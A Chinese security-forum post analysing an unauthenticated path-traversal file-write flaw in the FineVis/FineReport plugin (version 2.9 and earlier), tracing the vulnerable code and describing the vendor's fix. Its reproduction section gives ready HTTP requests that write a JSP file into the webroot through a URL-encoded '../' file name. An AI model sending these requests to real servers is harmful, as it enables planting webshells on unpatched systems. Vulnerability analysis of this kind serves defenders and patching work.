奇安信攻防社区-某报表FineVis数据可视化《=2.9 任意文件写入漏洞

0x01简介

国护爆出来的洞,bi需要手动安装，report自带。利用版本有限，比较垃圾

https://help.fanruan.com/finereport/doc-view-4833.html

很清楚看到，一开始的这个漏洞不需要授权，然后后面有进行目录穿越。也就是24.8月前的版本存在问题。

0x02 分析

com.fr.plugin.wysiwyg.web.controller.DuchampThemeRequestService

图片.png
可以看到调用upload方法，上传了

com.fr.plugin.wysiwyg.web.controller.DuchampThemeRequestHelper

图片.png

首先从请求中获取id，attachID然后判断是否为空。

不为空就去 FVSTemplateStyleConfig去获取我们传入的id，找不到就会报错。

com.fr.plugin.wysiwyg.web.theme.FVSTemplateStyleConfig

图片.png
来到FVSTemplateStyleConfig中，发现在类加载的时候出忘preStylesMap中put数据，那也就是id就是这里key咯

  static {

    preStylesMap.put("0e1183e3-4a26-e27d-9e4b-190909fd67a0", "/com/fr/plugin/wysiwyg/web/assets/template/TEMPLATE\_PRESET\_DARK\_1.json");

    preStylesMap.put("0946780e-c0b7-839d-5944-8fb840f53450", "/com/fr/plugin/wysiwyg/web/assets/template/TEMPLATE\_PRESET\_DARK\_2.json");

    preStylesMap.put("c5bbc3eb-beaa-3926-ff8a-aeb866815284", "/com/fr/plugin/wysiwyg/web/assets/template/TEMPLATE\_PRESET\_DARK\_3.json");

    preStylesMap.put("98f6460e-2334-47a7-1081-72a7bd391e56", "/com/fr/plugin/wysiwyg/web/assets/template/TEMPLATE\_PRESET\_LIGHT\_1.json");

  }

在看到DuchampResourceRequestHelper.getFileFromReq

图片.png

主要就是request中读入流，然后前后加入一个byte，不用管，最后返回。

图片.png

然后就是从上一步中获取了文件流，加入到了templateStyle，将attachID和它进行绑定。

然后从metadata的值，将metadata和attachID绑定，这里看到metadata是一个json。传参数用{"":""} 传咯。

更新FVSTemplateStyleConfig的templateStyle，最后访问id，attachID。

从上面可以看出，我们可以控制一个FVSTemplateStyleConfig的类容。最后需要把他倒入到webroot下就可以完成恶意文件上传咯。

com.fr.plugin.wysiwyg.web.controller.DuchampThemeRequestService

图片.png

这个理由就符合条件

com.fr.plugin.wysiwyg.web.controller.DuchampThemeRequestHelper

图片.png

这里就完成了写入，可以看到通过id获取fvsTemplateStyle，然后获取这个fvsTemplateStyle中attachID对应的byte，然后在resource判断有没有有这个attachid，肯定是没有的，继续从fvsTemplateStyle中获取metadata，然后从metadata中获取name的值，若果为空就用attachID + ".png"拼接，这里从metadata取到了，不为空。然后就是进行写入了。

DuchampIO.EDIT_CACHE.write(bean.getTplPath(), name, image);

这就有意思了，image是一个byte流可控，name我们可控，没过滤，也就是可以通过"../../" 穿越写入。这样就完成了对webroot下的jsp写入。

整个流程非常巧妙，反正我觉得现在静态分析是分析不出来的，果然厉害的洞还得人审计。

0x03 复现

图片.png

POST /webroot/decision/view/duchamp/theme/attach?id=98f6460e-2334-47a7-1081-72a7bd391e56&amp;attachID=3&amp;metadata=%7b%22%6e%61%6d%65%22%3a%22%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%73%6b%2e%6a%73%70%22%7d  HTTP/1.1

Host: 

Accept: \*/\*

Accept-Charset: GBK,utf-8;q=0.7,\*;q=0.3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8

Cache-Control: max-age=0

Connection: close

Content-Length: 294

Content-Type: multipart/form-data; boundary=c6c05c9386d544159462cae057c4a758

User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0



--c6c05c9386d544159462cae057c4a758

Content-Disposition: form-data; name="file"; filename="test.txt"

Content-Type: text/plain



&lt;% out.println(11809+76625+"FNjzadubmSaGkeSF");new java.io.File(application.getRealPath(request.getServletPath())).delete();%&gt;

--c6c05c9386d544159462cae057c4a758--

POST /webroot/decision/view/duchamp/theme/resource2template HTTP/1.1

Host: 

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36

Accept: \*/\*

Accept-Charset: GBK, utf-8;q=0.7, \*;q=0.3

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN, zh;q=0.8

Cache-Control: max-age=0

Connection: close

Content-Length: 67

Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0



{"attachIDs": \["3"\], "id": "98f6460e-2334-47a7-1081-72a7bd391e56", "reuseIDs": \[""\], "tplPath": ""}

GET /webroot/decision/view/duchamp/theme/list HTTP/1.1

Host: 

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36

Accept: \*/\*

Accept-Charset: GBK, utf-8;q=0.7, \*;q=0.3

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN, zh;q=0.8

Cache-Control: max-age=0

Connection: close

User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0

0x04 修复方式

uploadTemplateStyleAttach

图片.png
添加一个新函数来判断

可以看到先读入文件流，然后调用进行判断

DuchampResourceRequestHelper.checkFileValid(bufferedInputStream, parseResult.getFileExtension()))

图片.png

可以看到主要就两个方法，一个是从 FILE_HEADER_MAGIC_NUMBER获取，获取到就去判断文件头magicNumber，一样就返回true,不一样就返回false。还有一个没有在FILE_HEADER_MAGIC_NUMBER获取到的值，就去FILE_HEADER_WHITE_LIST里面找，找到就是true，找不到就是false。

图片.png